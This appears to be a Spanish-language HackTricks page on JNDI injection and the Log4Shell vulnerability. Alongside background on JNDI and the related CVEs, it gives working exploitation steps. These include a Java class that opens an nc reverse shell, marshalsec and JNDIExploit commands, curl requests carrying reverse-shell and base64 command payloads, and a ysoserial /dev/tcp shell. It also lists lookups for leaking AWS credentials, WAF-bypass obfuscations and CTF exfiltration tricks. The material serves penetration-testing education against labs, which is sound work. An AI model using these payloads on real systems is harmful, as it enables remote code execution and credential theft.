34 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en GitHub.
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. ¡Pruébalo gratis hoy!
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Información Básica
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Admite varios servicios de directorio a través de interfaces de proveedores de servicios (SPIs), lo que permite la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Registro de Java RMI y LDAP.
Referencia de Nombres JNDI
Los objetos Java se pueden almacenar y recuperar utilizando Referencias de Nombres JNDI, que se presentan en dos formas:
- Direcciones de Referencia: Especifica la ubicación de un objeto (por ejemplo, rmi://servidor/ref), permitiendo la recuperación directa desde la dirección especificada.
- Fábrica Remota: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
Sin embargo, este mecanismo puede ser explotado, lo que potencialmente lleva a la carga y ejecución de código arbitrario. Como medida de contramedida:
- RMI:
java.rmi.server.useCodeabseOnly = true
de forma predeterminada desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita aún más lo que se puede cargar. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
de forma predeterminada desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados de forma remota. Si se establece entrue
, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad. - CORBA: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.
Sin embargo, el Administrador de Nombres, responsable de resolver los enlaces JNDI, carece de mecanismos de seguridad integrados, lo que potencialmente permite la recuperación de objetos desde cualquier fuente. Esto representa un riesgo ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
Ejemplos de URLs explotables incluyen:
- rmi://servidor-atacante/bar
- ldap://servidor-atacante/bar
- iiop://servidor-atacante/bar
A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.
Ejemplo de JNDI
Incluso si has establecido un PROVIDER_URL
, puedes indicar uno diferente en una búsqueda y se accederá a él: ctx.lookup("<URL-controlada-por-atacante>")
y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.
Descripción General de CORBA
CORBA (Common Object Request Broker Architecture) emplea una Referencia de Objeto Interoperable (IOR) para identificar de forma única objetos remotos. Esta referencia incluye información esencial como:
- ID de Tipo: Identificador único para una interfaz.
- Codebase: URL para obtener la clase de stub.
Es importante destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad generalmente implica:
- Instalación de un Administrador de Seguridad.
- Configuración del Administrador de Seguridad para permitir conexiones a bases de código potencialmente maliciosas. Esto se puede lograr a través de:
- Permiso de Socket, por ejemplo,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Permisos de lectura de archivos, ya sea de forma universal (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) o para directorios específicos donde podrían colocarse archivos maliciosos.
Sin embargo, algunas políticas de proveedores pueden ser permisivas y permitir estas conexiones de forma predeterminada.
Contexto RMI
Para RMI (Invocación de Método Remoto), la situación es algo diferente. Al igual que con CORBA, la descarga arbitraria de clases está restringida de forma predeterminada. Para explotar RMI, típicamente se necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.
LDAP
En primer lugar, necesitamos distinguir entre una Búsqueda y una Consulta.
Una búsqueda utilizará una URL como ldap://localhost:389/o=JNDITutorial
para encontrar el objeto JNDITutorial de un servidor LDAP y recuperar sus atributos.
Una consulta está destinada a servicios de nombres ya que queremos obtener lo que esté vinculado a un nombre.
Si la búsqueda LDAP se invocó con SearchControls.setReturningObjFlag() con true
, entonces el objeto devuelto será reconstruido.
Por lo tanto, hay varias formas de atacar estas opciones.
Un atacante puede envenenar registros LDAP introduciendo payloads en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para comprometer decenas de máquinas si se tiene acceso al servidor LDAP). Otra forma de explotar esto sería realizar un ataque de MitM en una búsqueda LDAP, por ejemplo.
En caso de que puedas hacer que una aplicación resuelva una URL LDAP de JNDI, puedes controlar el LDAP que se buscará, y podrías enviar de vuelta el exploit (log4shell).
Exploit de Deserialización
El exploit está serializado y será deserializado.
En caso de que trustURLCodebase
sea true
, un atacante puede proporcionar sus propias clases en la base de código, de lo contrario, necesitará abusar de gadgets en el classpath.
Exploit de Referencia JNDI
Es más fácil atacar este LDAP utilizando referencias de JavaFactory:
Vulnerabilidad Log4Shell
La vulnerabilidad se introduce en Log4j porque admite una sintaxis especial en la forma ${prefijo:nombre}
donde prefijo
es uno de varios Lookups donde nombre
debe evaluarse. Por ejemplo, ${java:version}
es la versión actual en ejecución de Java.
LOG4J2-313 introdujo una característica de jndi
Lookup. Esta característica permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefiere automáticamente con java:comp/env/
. Sin embargo, si la clave en sí incluye un ":", este prefijo predeterminado no se aplica.
Con un ":" presente en la clave, como en ${jndi:ldap://ejemplo.com/a}
, no hay prefijo y se consulta al servidor LDAP para el objeto. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como al registrar líneas.
Por lo tanto, lo único necesario para obtener RCE es una versión vulnerable de Log4j procesando información controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas las aplicaciones orientadas a Internet), era muy común tener log4j registrando, por ejemplo, cabeceras HTTP recibidas como el User-Agent. Sin embargo, log4j no se usa solo para registrar información HTTP sino cualquier entrada y datos que el desarrollador haya indicado.
Resumen de CVEs Relacionados con Log4Shell
CVE-2021-44228 [Crítico]
Esta vulnerabilidad es una grave falla de deserialización no confiable en el componente log4j-core
, afectando versiones desde 2.0-beta9 hasta 2.14.1. Permite la ejecución remota de código (RCE), lo que permite a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del Equipo de Seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La corrección inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para la defensa están disponibles (Regla 1, Regla 2).
CVE-2021-45046 [Crítico]
Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es una falla de Denegación de Servicio (DoS) resultante de una corrección incompleta en 2.15.0 para CVE-2021-44228. Afecta a configuraciones no predeterminadas, lo que permite a los atacantes causar ataques DoS a través de payloads manipulados. Un tweet muestra un método de bypass. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar los patrones de búsqueda de mensajes y deshabilitar JNDI de forma predeterminada.
CVE-2021-4104 [Alto]
Afectando las versiones 1.x de Log4j en configuraciones no predeterminadas que utilizan JMSAppender
, este CVE es una falla de deserialización no confiable. No hay una corrección disponible para la rama 1.x, que ha llegado al final de su vida útil, y se recomienda actualizar a log4j-core 2.17.0
.
CVE-2021-42550 [Moderado]
Esta vulnerabilidad afecta al framework de registro Logback, sucesor de Log4j 1.x. Anteriormente se creía que era seguro, pero se descubrió que el framework era vulnerable, y se han lanzado nuevas versiones (1.3.0-alpha11 y 1.2.9) para abordar el problema.
CVE-2021-45105 [Alto]
Log4j 2.16.0 contiene una falla de DoS, lo que llevó al lanzamiento de log4j 2.17.0
para solucionar el CVE. Más detalles están en el informe de BleepingComputer.
CVE-2021-44832
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Implica una posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en la publicación del blog de Checkmarx.
Explotación de Log4Shell
Descubrimiento
Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una solicitud DNS a la dirección que indiques en tu payload. Por lo tanto, payloads como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
usando (usando huntress)
Ten en cuenta que incluso si se recibe una solicitud DNS eso no significa que la aplicación sea explotable (o incluso vulnerable), deberás intentar explotarla.
{% hint style="info" %} Recuerda que para explotar la versión 2.15 necesitas agregar el bypass de verificación de localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Descubrimiento Local
Busca versiones locales vulnerables de la biblioteca con:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verificación
Algunas de las plataformas mencionadas anteriormente te permitirán insertar datos variables que se registrarán cuando se soliciten.
Esto puede ser muy útil para 2 cosas:
- Para verificar la vulnerabilidad
- Para exfiltrar información abusando de la vulnerabilidad
Por ejemplo, podrías solicitar algo como:
o como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
y si se recibe una solicitud DNS con el valor de la variable de entorno, sabrás que la aplicación es vulnerable.
Otra información que podrías intentar filtrar:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Información de RCE
{% hint style="info" %}
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de com.sun.jndi.ldap.object.trustURLCodebase
, que evita que JNDI cargue un codebase remoto a través de LDAP. Sin embargo, es crucial tener en cuenta que estas versiones no están protegidas contra el vector de ataque de deserialización.
Para los atacantes que buscan explotar estas versiones de JDK superiores, es necesario aprovechar un gadget de confianza dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo con este propósito. Por el contrario, explotar versiones inferiores de JDK es relativamente más fácil, ya que estas versiones pueden manipularse para cargar y ejecutar clases arbitrarias.
Para más información (como limitaciones en los vectores RMI y CORBA) consulte la sección de Referencia de Nombres JNDI anterior o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec con carga útil personalizada
Puedes probar esto en la caja THM: https://tryhackme.com/room/solar
Utiliza la herramienta marshalsec (versión jar disponible aquí). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Para incitar al objetivo a cargar un código de shell inversa, crea un archivo Java llamado Exploit.java
con el siguiente contenido:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compila el archivo Java en un archivo de clase usando: javac Exploit.java -source 8 -target 8
. A continuación, inicia un servidor HTTP en el directorio que contiene el archivo de clase con: python3 -m http.server
. Asegúrate de que el servidor LDAP de marshalsec haga referencia a este servidor HTTP.
Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando un payload similar a:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Nota: Esta explotación se basa en la configuración de Java para permitir la carga remota de código a través de LDAP. Si esto no es permitido, considere explotar una clase de confianza para la ejecución de código arbitrario.
RCE - JNDIExploit
{% hint style="info" %} Tenga en cuenta que por alguna razón, el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puede encontrar una versión en caché en https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 pero si desea respetar la decisión del autor, utilice un método diferente para explotar esta vulnerabilidad.
Además, no podrá encontrar el código fuente en el archivo de la máquina del tiempo, por lo que deberá analizar el código fuente o ejecutar el archivo jar sabiendo que no sabe qué está ejecutando. {% endhint %}
Para este ejemplo, simplemente puede ejecutar este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el README encontrará cómo ejecutarlo). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.
Luego, puede descargar el archivo jar de JNDIExploit y ejecutarlo con:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Después de leer el código durante solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver cómo se crean los servidores LDAP y HTTP. El servidor LDAP entenderá qué carga útil debe servir y redirigirá a la víctima al servidor HTTP, que servirá el exploit.
En com.feihong.ldap.gadgets puedes encontrar algunos gadgets específicos que se pueden utilizar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantillas que generarán los exploits.
Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Algunos útiles son:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Entonces, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de docker en ejecución. Para atacarla:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.
Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para otras opciones de explotación. Además, en caso de necesitarlo, puedes cambiar el puerto de los servidores LDAP y HTTP.
RCE - JNDI-Exploit-Kit
De manera similar al exploit anterior, puedes intentar usar JNDI-Exploit-Kit para explotar esta vulnerabilidad.
Puedes generar las URLs para enviar al objetivo ejecutando:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Este ataque utilizando un objeto Java generado personalizado funcionará en laboratorios como la sala solar de THM. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota utilizando LDAP) creo que porque no está abusando de una clase de confianza para ejecutar código arbitrario.
RCE - ysoserial & JNDI-Exploit-Kit
Esta opción es realmente útil para atacar versiones de Java configuradas para confiar solo en clases especificadas y no en todos. Por lo tanto, ysoserial se utilizará para generar serializaciones de clases de confianza que pueden ser utilizadas como gadgets para ejecutar código arbitrario (la clase de confianza abusada por ysoserial debe ser utilizada por el programa Java víctima para que el exploit funcione).
Usando ysoserial o ysoserial-modified puedes crear el exploit de deserialización que será descargado por JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Utiliza JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir diferentes exploits que pueden generarse automáticamente por el JNDI-Exploit-Kit o incluso tus propios cargas útiles de deserialización (generados por ti o ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un shell inverso simplemente enviándolo a una versión vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}
Saltos de seguridad
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Escáneres Automáticos
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Encuentra bibliotecas locales vulnerables
Laboratorios para probar
- Máquina LogForge HTB
- Sala Solar de Try Hack Me
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Explotación de Log4Shell
En este writeup de CTF se explica bien cómo es potencialmente posible abusar algunas características de Log4J.
La página de seguridad de Log4j tiene algunas frases interesantes:
A partir de la versión 2.16.0 (para Java 8), la característica de búsqueda de mensajes ha sido eliminada por completo. Las búsquedas en la configuración siguen funcionando. Además, Log4j ahora deshabilita el acceso a JNDI de forma predeterminada. Las búsquedas de JNDI en la configuración ahora deben habilitarse explícitamente.
A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo las cadenas de búsqueda en la configuración se expanden de forma recursiva; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior y las búsquedas anidadas no se resuelven.
Esto significa que por defecto puedes olvidarte de usar cualquier exploit
de jndi
. Además, para realizar búsquedas recursivas necesitas tenerlas configuradas.
Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Búsquedas de Env
En este CTF el atacante controlaba el valor de ${sys:cmd}
y necesitaba extraer la bandera de una variable de entorno.
Como se ve en esta página en cargas útiles anteriores hay diferentes formas de acceder a variables de entorno, como: ${env:FLAG}
. En este CTF esto fue inútil pero podría ser útil en otros escenarios de la vida real.
Exfiltración en Excepciones
En el CTF, no se podía acceder al stderr de la aplicación Java usando log4J, pero las excepciones de Log4J se envían a stdout, lo cual se imprimía en la aplicación Python. Esto significaba que al desencadenar una excepción podríamos acceder al contenido. Una excepción para exfiltrar la bandera fue: ${java:${env:FLAG}}
. Esto funciona porque ${java:CTF{blahblah}}
no existe y se mostrará una excepción con el valor de la bandera:
Patrones de Conversión en Excepciones
Solo por mencionarlo, también podrías inyectar nuevos patrones de conversión y desencadenar excepciones que se registrarán en stdout
. Por ejemplo:
Esto no resultó útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
Patrones de Conversión Regex
Sin embargo, es posible usar algunos patrones de conversión que admiten regexes para exfiltrar información de una búsqueda mediante el uso de regexes y abusando de comportamientos de búsqueda binaria o basados en el tiempo.
- Búsqueda binaria a través de mensajes de excepción
El patrón de conversión %replace
se puede usar para reemplazar contenido de una cadena incluso usando regexes. Funciona así: replace{patrón}{regex}{sustitución}
Abusando de este comportamiento podrías hacer que el reemplazo desencadene una excepción si el regex coincide con algo dentro de la cadena (y no habrá excepción si no se encuentra) de esta manera:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Basado en el tiempo
Como se mencionó en la sección anterior, %replace
admite regexes. Por lo tanto, es posible utilizar un payload de la página de ReDoS para causar un timeout en caso de encontrar la bandera.
Por ejemplo, un payload como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
desencadenaría un timeout en ese CTF.
En este writeup, en lugar de usar un ataque ReDoS, se utilizó un ataque de amplificación para causar una diferencia de tiempo en la respuesta:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Si la bandera comienza con
flagGuess
, toda la bandera se reemplaza con 29#
(usé este carácter porque probablemente no formaría parte de la bandera). Cada uno de los 29#
resultantes luego es reemplazado por 54#
. Este proceso se repite 6 veces, lo que lleva a un total de29*54*54^6* =`` ``
96816014208
#
¡s!Reemplazar tantos
#
provocará que se active el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en el envío del código de estado HTTP 500 al usuario. (Si la bandera no comienza conflagGuess
, recibiremos un código de estado no 500)
Referencias
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.